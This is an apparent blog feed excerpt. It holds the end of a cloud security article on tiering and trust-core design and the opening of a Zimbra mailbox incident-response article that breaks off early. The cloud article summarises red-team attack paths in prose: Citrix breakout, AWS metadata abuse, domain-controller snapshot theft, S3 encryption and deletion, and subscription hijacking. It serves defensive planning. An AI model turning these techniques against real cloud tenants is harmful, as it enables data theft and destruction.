<li>the 3 tiers into <strong>2 access types: administrator vs. user</strong>;</li>
<li>the administration flows into portal access;</li>
<li>the server’s criticality is centralized within the <em>Data plane</em><em>.</em></li>
</ul>
<p style="text-align: justify;">Below is a comparative illustration between the old and the new model:</p>
<figure id="attachment_28919" aria-describedby="caption-attachment-28919" style="width: 1666px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28919" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity.png" alt="From the three-tier model to cloud complexity" width="1666" height="823" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity.png 1666w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity-387x191.png 387w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity-768x379.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity-1536x759.png 1536w" sizes="auto, (max-width: 1666px) 100vw, 1666px" /><figcaption id="caption-attachment-28919" class="wp-caption-text"><em>From the three-tier model to cloud complexity</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">This new model particularly highlights 3 elements:</p>
<ul style="text-align: justify;">
<li><strong>User identity</strong>: privileged access vs. user access;</li>
<li><strong>Data and services</strong>: at the expense of servers;</li>
<li>The <strong>method of access</strong> to web administration portals.</li>
</ul>
<p style="text-align: justify;">The inversion of importance between &#8220;servers&#8221; and &#8220;web portals&#8221; abstracting Active Directory is a radical change.</p>
<p style="text-align: justify;">However, very few (if any) large organizations are at this stage of abandoning their &#8220;legacy&#8221; IS; a large part will be in a transitional state where the information system has been virtualized on a cloud in order to move away from its datacenters, but whose administration methods have remained the same.</p>
<p style="text-align: justify;">These companies must deal with an obsolete tiering model and an Enterprise Access Model disconnected from current security risks and needs.</p>
<p style="text-align: justify;">For the remainder of this article, we will take as an example the <strong>Tartampion</strong> company, which has just completed a <strong>3-year Move-to-Cloud program on AWS</strong>. The outcome is as follows:</p>
<ul>
<li style="text-align: justify;">A Landing Zone was created, applications already on AWS were integrated into it</li>
<li style="text-align: justify;">Given the lack of time and resources, a major part of the IS was incorporated via lift and shift, including business, network, bastion, and AD solutions.</li>
<li style="text-align: justify;">The Data Centers were closed</li>
</ul>
<p> </p>
<h3>A problematic hybrid and virtualized IS</h3>
<p style="text-align: justify;">According to the EAM, Azure and AWS portals are displayed at the same level (<em>the management plane</em>) at the T1 tier, without any other form of distinction. However, these 2 cloud environments are in themselves the support for numerous IS, used by multiple collaborators with very varied levels of rights and impacts.</p>
<p style="text-align: justify;">To illustrate the previous points, let us set aside the <em>Digital Workplace</em> aspect (O365 suite) and take 3 AWS accounts from a Tartampion Landing Zone, supporting different infrastructure services:</p>
<figure id="attachment_28921" aria-describedby="caption-attachment-28921" style="width: 1695px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28921" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types.png" alt="Example of different AWS enterprise account types" width="1695" height="343" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types.png 1695w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-437x88.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-768x155.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-1536x311.png 1536w" sizes="auto, (max-width: 1695px) 100vw, 1695px" /><figcaption id="caption-attachment-28921" class="wp-caption-text"><em>Example of different AWS enterprise account types</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Based on the framework proposed by Microsoft, these <strong>three AWS accounts should belong to the Management plane</strong> with a T1 security level. However, in the event of a compromise of one of the 3 accounts by an attacker, the impacts would be very different.</p>
<p style="text-align: justify;">If the Landing Zone is correctly implemented, the compromise of a Sandbox account would have very little impact, whereas that of the Master Account would lead to the compromise of all underlying accounts and resources.</p>
<p style="text-align: justify;">A more adequate example of segmentation would be the following:</p>
<figure id="attachment_28923" aria-describedby="caption-attachment-28923" style="width: 1689px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28923" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model.png" alt="Tiering Model extended to the Enterprise Access Model" width="1689" height="713" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model.png 1689w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-437x184.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-768x324.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-1536x648.png 1536w" sizes="auto, (max-width: 1689px) 100vw, 1689px" /><figcaption id="caption-attachment-28923" class="wp-caption-text"><em>Tiering Model extended to the Enterprise Access Model</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Microsoft’s Enterprise Access Model is a <strong>macroscopic framework</strong> that allows for initiating a baseline for cloud service segmentation, but <strong>which remains to be adapted</strong> according to the criticality of the concerned IS.</p>
<p style="text-align: justify;">How can it be made relevant? To answer this, it is necessary to understand the attack scenarios exploiting cloud services.</p>
<p> </p>
<h2>The cloud from an attacker’s perspective</h2>
<h3>5 cloud principles facilitating attacks</h3>
<p style="text-align: justify;">Firstly, <strong>public cloud administration panels are exposed to the Internet by default</strong>, unlike sensitive IS resources. Thus, successful phishing very likely leads to access to the cloud.</p>
<p style="text-align: justify;">Secondly, companies today have <strong>hybrid organizations</strong> (on-premise and cloud):</p>
<ul style="text-align: justify;">
<li>Cloud infrastructures are connected to the rest of the on-premises IS;</li>
<li><strong>Workstations</strong> can also be <strong>hybrid</strong> and managed by a cloud service like Intune. Permissions to use this service are managed in Entra ID;</li>
<li>Identities are often <strong>synchronized accounts</strong>, this also applies to administration accounts.</li>
</ul>
<p style="text-align: justify;">Hybrid organizations can facilitate lateral movement between the cloud and on-premise environments.</p>
<p style="text-align: justify;">Thirdly, <strong>identity management is very complex with different scopes</strong>. For example, Entra ID allows managing access to Azure and M365 for users, as well as for applications and service accounts.</p>
<p style="text-align: justify;">In addition, cybersecurity concepts related to the cloud are still relatively new and unfamiliar to certain &#8220;legacy&#8221; teams, such as the SOC/CERT, network, etc. <strong>The most sensitive cloud resources are not systematically identified, protected, and monitored</strong>.</p>
<p style="text-align: justify;">Finally, even if native detection mechanisms are present, they are <strong>not always interconnected with SIEM/SOAR</strong>, which slows down response capabilities. Moreover, a recent Purple Team operation conducted on Azure and AWS infrastructure confirmed that <strong>native detection tools have limited detection capacity</strong>. This is an observation also found in Red Teams since, with an &#8220;OpSec&#8221; approach,<strong> cloud detection tools are rarely able to identify an ongoing attack</strong>.</p>
<p> </p>
<h3>Feedback from our penetration tests &amp; Red Team</h3>
<p style="text-align: justify;">Derived from recent Red Team operations, these cloud-specific attack paths demonstrate the impact and the ease with which it is possible to escalate privileges to obtain highly permissive access:</p>
<figure id="attachment_28925" aria-describedby="caption-attachment-28925" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28925" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments.png" alt="Examples of Cloud attack paths exploited in Red Team assessments" width="1684" height="803" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-401x191.png 401w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-768x366.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-1536x732.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28925" class="wp-caption-text"><em>Examples of Cloud attack paths exploited in Red Team assessments</em></figcaption></figure>
<p style="text-align: justify;">The first scenario, carried out on AWS, is described below; the other two were analyzed in a series of Risk Insight articles available <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/en/2025/01/enterprise-access-model-1-2-how-to-scope-your-control-plane-to-secure-your-cloud-administration-and-prevent-a-global-cloud-compromise/">here</a></span>.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Reconnaissance and Initial Access</span></em></strong></p>
<p style="text-align: justify;">Categories of employees are <strong>generally targeted in order to compromise a person with interesting rights in the IS (Developer, Support, OPS&#8230;)</strong>. A frequently used method is <strong>phishing</strong>. <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Current phishing</a></span> mechanisms can bypass the use of complex passwords and most MFA (Multi-Factor Authentication) methods.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Privilege Escalation and Lateral Movements</span></em></strong></p>
<p style="text-align: justify;">In the first scenario, a compromised developer possessed access to a Citrix farm. <strong>Citrix environments are not simple to completely harden</strong>, and a few breakout vulnerabilities allowed the Red Team to gain access to the underlying server.</p>
<p style="text-align: justify;">Information gathered on the machine indicated that the server could be hosted on AWS. This was verified by trying to <strong>access the server&#8217;s AWS metadata</strong>: the instance had rights on the client&#8217;s AWS account. The Citrix virtual machine possessed the &#8220;<strong>AmazonEC2FullAccess</strong>&#8221; role allowing it management actions on EC2s in the same AWS account.</p>
<p style="text-align: justify;">Using the AWS CLI, the other EC2s were listed. A Domain Controller was present in this AWS account. It is a common practice to regroup services intended to be used by several projects into a single account, generally called &#8220;Shared Services&#8221;. It is nevertheless recommended to <strong>verify that the criticality of shared services is homogeneous to be able to apply adequate hardening</strong> on the account or separate them into several environments.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Actions on trophies</span></em></strong></p>
<p style="text-align: justify;">From the Citrix server AWS role, <strong>a snapshot of the domain controller was taken and then downloaded</strong>. Domain controller backups contain all the machine&#8217;s files, including the most sensitive files like the <strong><em>ntds.dit</em></strong> database, which contains the information and secrets of all domain users. The exfiltration of this database translates to the total compromise of the concerned AD domain.</p>
<p style="text-align: justify;">This scenario illustrates one of the attack paths that were exploited during Red Team operations, facilitated by the lack of visibility regarding the impacts that a compromised resource hosted on the cloud can have.</p>
<p> </p>
<h3>Faster and stronger impacts</h3>
<p style="text-align: justify;">Attacks already possible on an on-premises IS can be <strong>reproduced and even accelerated thanks to cloud features</strong>. For example, the encryption of S3 buckets (file storage service) using a KMS (encryption) key from another AWS account mimics massive data encryption, or the use of the &#8220;lifecycle&#8221; feature allows for the deletion of all objects in less than 24 hours, regardless of the amount of data.</p>
<p style="text-align: justify;">New attacks have also appeared, such as &#8220;<strong>Subscription Hijacking</strong>&#8221; which allows <strong>transferring an Azure organization&#8217;s subscription to another</strong> and thus stealing all the data it contains while preventing remediation actions. This attack is achievable in a few clicks from the Azure web interface.</p>
<p> </p>
<h2>Identification and protection of the cloud trust core</h2>
<h3>Identification</h3>
<p style="text-align: justify;">The <strong>trust core </strong>adopts an approach focused on asset prioritization, which differs from the tiering model or Microsoft’s Enterprise Access Model. Unlike these models which offer a predefined segmentation, there is no universal grid: each organization must identify for itself which resources deserve the highest level of protection. The idea is to establish <strong>a restricted circle of critical resources</strong> (whether cloud or on premises) and then <strong>deploy decreasing levels of protection as one moves away from this core</strong>.</p>
<p style="text-align: justify;">The identification of the trust core relies on <strong>two main criteria</strong>:</p>
<ul style="text-align: justify;">
<li><em>Business Criticality</em>: these are the resources that concentrate the value and business continuity of the company. If they were to be lost or compromised, the consequences would be immediate for daily operations and financially. A SharePoint environment containing intellectual property / patents is a common example;</li>
<li><em>IS Criticality</em>: these are the resources that ensure the administration of the information system and which possess a high level of access. Their compromise would have a major impact on the entire IS and would allow for the business impact previously mentioned. Here we find domain controllers or cloud IAM services like Entra ID and AWS Identity Center.</li>
</ul>
<p style="text-align: justify;"><em> </em></p>
<p style="text-align: justify;">This mapping is never totally clear-cut. For certain elements, the posture to adopt remains vague; two examples illustrate this well:</p>
<ul style="text-align: justify;">
<li><em>EDR</em>: an obvious security element of an IS, systematically deployed on both workstations <strong>and</strong> cloud and on-premises servers, its administration console is increasingly exposed to the internet, and allows executing arbitrary commands on the devices equipped with it.</li>
<li><em>CI/CD pipelines</em>: a clever but complex agglomeration of applications calling each other, whose access (the code repository: GitLab, GitHub…) is accessible by all collaborators and the runner permissions are very often administrator over the entire cloud infrastructure. <strong>Out of all Red Teams conducted in 2024 &amp; 2025, 80% exploited vulnerabilities associated</strong> with these solutions to progress in their operation or even obtain compromise trophies through these means.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">In order to identify the center of the trust core, which we will call the <strong>security foundation</strong>, we can revisit the precepts of the old T0: the compromise of one of its elements would probably lead to that of the others, and by cascade, of the major part of the IS.</p>
<p style="text-align: justify;">Assuming that your applications apply correct inter-user segregation (all of your SharePoint sites are not accessible by everyone, are they?), references to the next applications should be understood as <strong>administrator</strong> <strong>/ super-user access</strong> to them, and not simple user.</p>
<p style="text-align: justify;">Here is one possible representation of a hybrid trust core:</p>
<figure id="attachment_28927" aria-describedby="caption-attachment-28927" style="width: 1681px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28927" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust.png" alt="Protect the essential, your core of trust" width="1681" height="997" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust.png 1681w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-322x191.png 322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-768x456.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-1536x911.png 1536w" sizes="auto, (max-width: 1681px) 100vw, 1681px" /><figcaption id="caption-attachment-28927" class="wp-caption-text"><em>Protect the essential, your core of trust</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">In this representation, on the on-premise side, we can observe:</p>
<ul style="text-align: justify;">
<li><em>The T0,</em> with its domain controllers, ADCS, and potentially the PKI, the bastion, the EDR console…</li>
<li><em>The T1,</em> integrating additionally high-impact business applications.</li>
</ul>
<p style="text-align: justify;">And on the cloud side, we find:</p>
<ul style="text-align: justify;">
<li>At the core, the <strong>Control Plane</strong> (AWS Orga &amp; Identity Center, Entra ID) as well as the Landing Zone modules supporting <strong>T0</strong> (if part of T0 is hosted in the cloud);</li>
<li>Moving outward, the various <strong>administration consoles</strong> for productivity suites, and for infrastructure or application management.</li>
</ul>
<p style="text-align: justify;">When establishing this diagram, it is important to keep in mind that:</p>
<ul style="text-align: justify;">
<li><strong>IT serves the business</strong>, and even though the central zone of the trust core is mainly occupied by technical components, critical solutions should be included;</li>
<li><strong>Dependency/compromise chains</strong> have a significant impact on <strong>architectural choices</strong>: positioning an AD on AWS, or deploying an EDR on an AD can suddenly create numerous paths for compromise and pivoting between the 2 worlds.</li>
</ul>
<p style="text-align: justify;">Finally, building a trust core cannot be limited to a static classification logic. It must rely on <strong>an approach that evaluates the criticality of each asset and the risk it introduces</strong> (a software development company will surely not position its Git at the same level as a civil engineering company).</p>
<p> </p>
<h3>Protection of the cloud trust core</h3>
<p style="text-align: justify;">The security of the trust core will rely on the two traditional risk factors:</p>
<ul>
<li style="text-align: justify;"><em>Reduce impact</em>: How to prevent a compromised or malicious user from connecting to cloud portals via a browser and performing sensitive actions in a few clicks, such as backing up a domain controller hosted on a VM or deleting production data backups?</li>
<li style="text-align: justify;"><em>Reduce probability:</em> How to reduce the risks of illegitimate access from a session cookie stolen via phishing, workstation compromising, or user password reuse?</li>
</ul>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection of the cloud security foundation</span></em></strong></p>
<p style="text-align: justify;">Regarding the cloud &#8220;security foundation,&#8221; it is possible to prioritize environments by criticality according to this macroscopic scale:</p>
<figure id="attachment_28929" aria-describedby="caption-attachment-28929" style="width: 1680px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28929" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation.png" alt="The main levels of the cloud security foundation" width="1680" height="709" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation.png 1680w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-437x184.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-768x324.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-1536x648.png 1536w" sizes="auto, (max-width: 1680px) 100vw, 1680px" /><figcaption id="caption-attachment-28929" class="wp-caption-text"><em>The main levels of the cloud security foundation</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Depending on the teams involved and the complexity of including them in a particularly high protection level, some organizations choose to exclude environments whose compromise would not allow for dangerous lateral movement, such as those for FinOps, detection, the Digital Workplace…</p>
<p style="text-align: justify;">Securing the cloud security foundation relies on 2 main points:</p>
<ul style="text-align: justify;">
<li>Impeccable <strong>hygiene</strong>: streamlined IAM configuration, least privilege strategy, deployment procedures, limitation of resources to the strict minimum…</li>
<li>A passive / active security layer: deployment of <strong>policies</strong> (SCP on AWS, Policy on Azure) explicitly forbidding certain actions, or the manipulation of certain resources, and <strong>detection rules</strong> to trigger an alert in the event of a policy modification or the occurrence of one of its protected events.</li>
</ul>
<p style="text-align: justify;">These policies can be effectively associated with a <strong>tagging strategy</strong> to apply, in addition to the RBAC (Role Based Access Control) model, an ABAC (Attribute Based Access Control) model.</p>
<p style="text-align: justify;">For example, it is possible to tag different resources with a &#8220;tiering&#8221; key and a value between &#8220;T0&#8221;, &#8220;T1&#8221;, &#8220;T2&#8221; and then deploy this set of strategies:</p>
<ul style="text-align: justify;">
<li>Prohibit any action targeting a resource tagged &#8220;tiering&#8221; by an identity whose own tiering tag value is not equivalent;</li>
<li>Prohibit the manipulation of tiering tags, except for a specific role.</li>
</ul>
<p style="text-align: justify;">And that is how, with a few tags and 2 SCPs, it is possible to replicate the Microsoft tiering model (some exceptions may occur).</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection of identities and access</span></em></strong></p>
<p style="text-align: justify;">To protect users, 3 hardening themes can be implemented:</p>
<ul style="text-align: justify;">
<li><em>Identity</em>: With which account does the user connect to cloud administration interfaces? How are rights obtained?</li>
<li><em>MFA</em>: Is the identity protected with multi-factor authentication resistant to phishing attacks?</li>
<li><em>Origin</em>: From which platform does the user connect to cloud administration interfaces? Is the platform managed, and healthy?</li>
</ul>
<p style="text-align: justify;">Several levels of protection are conceivable in order to protect cloud administrators:</p>
<figure id="attachment_28931" aria-describedby="caption-attachment-28931" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28931" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level.png" alt="Aligning the protection level with the risk level" width="1684" height="819" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-393x191.png 393w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-768x374.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-1536x747.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28931" class="wp-caption-text"><em>Aligning the protection level with the risk level</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">To protect the <strong>restricted trust core</strong>, represented by the triple padlocks, it is recommended to implement the <strong>most robust authentication factors</strong>. This includes the use of a dedicated account for cloud administration, the activation of physical multi-factor authentication (example: FIDO2 security key), and the use of a workstation specifically reserved for operations on this trust core (this last one is not often implemented).</p>
<p style="text-align: justify;">For <strong>resources further from the center</strong> of the core of trust, symbolized by the double padlocks, <strong>a hardened but proportionate security level can be applied</strong>, in order to strengthen protection to control costs and reduce excessive constraints on the users concerned.</p>
<p style="text-align: justify;">Ultimately, the <strong>most secure methods are also those that imply the most constraints for the people concerned</strong>, usage must be controlled (limiting day-to-day operations) and emergency situations considered.</p>
<p> </p>
<h3>Repeat Operations</h3>
<p style="text-align: justify;">At the end of the identification and protection phases, resources will be distributed across the different layers of the core of trust.</p>
<p style="text-align: justify;">To verify the proper implementation of the core of trust, <strong>an audit can be conducted to verify the proper protection of the critical resources</strong> that compose it.</p>
<p style="text-align: justify;">An information system is always evolving, but the first two phases will have been performed at a given moment. <strong>New critical resources may be added, others modified or even deleted</strong>. It is essential to <strong>regularly re-evaluate the IS</strong> and update the distribution of resources within the core of trust.</p>
<h2 style="text-align: justify;"> </h2>
<p style="text-align: justify;">In conclusion, information system security now operates within a context of <strong>increasing complexity and strong diversification </strong>of infrastructure components and services.</p>
<p style="text-align: justify;">In this context, it appears increasingly complex to define a universal security model. Certain frameworks retain all their relevance within well-identified perimeters: tiering remains a reference for securing Active Directory, just like the EAM for cloud environments strongly centered on the Microsoft ecosystem. Nevertheless, these models quickly reach their limits as soon as one moves away from these specific use cases.</p>
<p style="text-align: justify;">For the majority of information systems, an approach based on risk analysis therefore stands out as the most relevant. Identifying a core of trust, clearly defining critical assets &#8211; <em>the crown jewels</em> &#8211; and deriving security measures from these elements allow for building a more pragmatic security posture, adapted to the reality of the IS and capable of evolving with it. This logic, less normative but more contextualized, undoubtedly constitutes one of the major levers for reconciling security, agility, and sustainability of information systems.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/">Cloud Security: Adapting to a new reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Zimbra Mailbox Compromise: From Analysis to Remediation (Part 2)</title>
		<link>https://www.riskinsight-wavestone.com/en/2026/01/zimbra-mailbox-compromise-from-analysis-to-remediation-part-2/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2026/01/zimbra-mailbox-compromise-from-analysis-to-remediation-part-2/#respond</comments>
		
		<dc:creator><![CDATA[Evenson Jeunesse]]></dc:creator>
		<pubDate>Wed, 07 Jan 2026 09:47:27 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Amavis]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[CERT-W]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[Incident response]]></category>
		<category><![CDATA[incident response CERT-W]]></category>
		<category><![CDATA[investigation]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[spoofing]]></category>
		<category><![CDATA[Zimbra]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28717</guid>

					<description><![CDATA[<p>It&#8217;s time to begin the second part of our Zimbra investigation. If you haven&#8217;t read the first part yet, we strongly recommend starting HERE before continuing.In this second part, we&#8217;ll assume that an attacker has managed to compromise a Zimbra...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/01/zimbra-mailbox-compromise-from-analysis-to-remediation-part-2/">Zimbra Mailbox Compromise: From Analysis to Remediation (Part 2)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">It&#8217;s time to begin the second part of our Zimbra investigation. If you haven&#8217;t read the first part yet, we strongly recommend starting <a href="https://www.riskinsight-wavestone.com/en/2025/12/zimbra-mailbox-compromise-from-analysis-to-remediation/"><span style="color: #000080;">HERE</span> </a>before continuing.<br />In this second part, we&#8217;ll assume that an attacker has managed to compromise a Zimbra account and that we&#8217;ve already identified their entry point (initial access). We&#8217;ll now analyze how to leverage Zimbra logs to identify the malicious actions the attacker could have carried out from their access. We&#8217;ll then see what remediation measures to implement to prevent this type of incident and respond to it effectively.<br />Get comfortable (and make sure your coffee is still hot): let&#8217;s dive right into the heart of the matter!</p>
<p> </p>
<h2>Investigating in a Zimbra Environment</h2>
<p style="text-align: justify;">Now that Zimbra’s infrastructure and logs <strong>hold no secrets for you</strong>, it’s time to get <strong>practical</strong>.</p>
<p style="text-align: justify;">Imagine you’re a forensic analyst, arriving early one morning, when suddenly: <strong>the phone rings.</strong> You’re being called because several users are reporting that emails, <strong>they didn’t send</strong> are appearing in their “Sent” folder.</p>
<p style="text-align: justify;"><strong>Panic ensues</strong>! Users are afraid to log into their mailboxes, and some administrators start wondering whether the <strong>Zimbra infrastructure itself</strong> might be <strong>compromised</strong>.</p>
<p style="text-align: justify;">Since you know Zimbra inside out, the team naturally turns to you to <strong>investigate this incident</strong>!</p>
<p style="text-align: justify;">As a forensic analyst, many questions come to mind:</p>
<ul style="text-align: justify;">
<li><em>Have the accounts really been compromised? If so, how and since when?</em></li>
<li><em>How many users are affected?</em></li>
<li><em>What is the attacker’s objective, and what malicious actions have been carried out from these accounts?</em></li>
<li><em>Have the mail server or other Zimbra components been compromised?</em></li>
<li><em>And, most importantly: do I have time for a coffee </em><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2615.png" alt="☕" class="wp-smiley" style="height: 1em; max-height: 1em;" /><em> before the information hunt begins?</em></li>
</ul>
<p style="text-align: justify;">To help you in your investigation, we’ll look at how to answer these questions through Zimbra log analysis. But first, here are some tips to guide your investigation.</p>
<p style="text-align: justify;">During incident response, it’s easy to feel <strong>overwhelmed</strong> by the <strong>amount of logs</strong> <strong>and</strong> <strong>events</strong> <strong>to analyze</strong>. Keeping a clear line of reasoning is essential. A few simple practices can help maintain focus:</p>
<ul style="text-align: justify;">
<li><strong>Confirm:</strong> Verify the information that triggered the incident. Before diving deeper, ensure the initial alert is accurate. This undeniable baseline will serve as the foundation for the entire investigation.</li>
<li><strong>Correlate:</strong> Cross-check suspicious IP addresses and domains with other sources (proxy, VPN, EDR, online antivirus databases). This provides additional context related to the identified indicator.</li>
<li><strong>Pivot:</strong> Use the collected information to expand your analysis. An attacker might reuse the same IP address or user-agent across multiple accounts. Conversely, a compromised account might be accessed from different IP addresses or user-agents. Pivoting can reveal other indicators that help identify the attacker.</li>
<li><strong>Compare patterns:</strong> Even without direct access to email content or attachments, certain elements can reveal similarities (file size, identical filenames, repeated sequences of actions after account compromise). This behavioral analysis approach can help identify multiple users compromised by the same attacker. Such hypotheses should be formulated and handled cautiously, but they can be valuable for confirming intuition.</li>
<li><strong>Ensure log preservation:</strong> This may seem obvious, but as soon as an incident is detected, securing the logs is critical. Collect logs immediately from the entire Zimbra infrastructure and extend their retention period to prevent automatic deletion. Because let’s be honest: logs disappearing just as the forensic team arrives is a way too common scenario… one you definitely want to avoid.</li>
</ul>
<p style="text-align: justify;">While these tips <strong>aren’t exhaustive</strong>, they provide a solid foundation for conducting an analysis that is both <strong>fast</strong> and <strong>efficient</strong>.</p>
<p> </p>
<h2>Post-compromise activity</h2>
<h3>Analysis of user activity  </h3>
<p style="text-align: justify;"><strong>What mastery</strong>! You have successfully traced back to the initial entry point used by the attacker to compromise user accounts. You have identified the malicious IP addresses, spotted the User-Agent used, and even uncovered other compromised accounts thanks to this information. In short, clean and efficient work. Impressive!</p>
<p style="text-align: justify;">But… we still haven’t answered a crucial question: &#8220;<em>What was the attacker’s objective, and what actions did they take from the compromised accounts?</em>&#8220;</p>
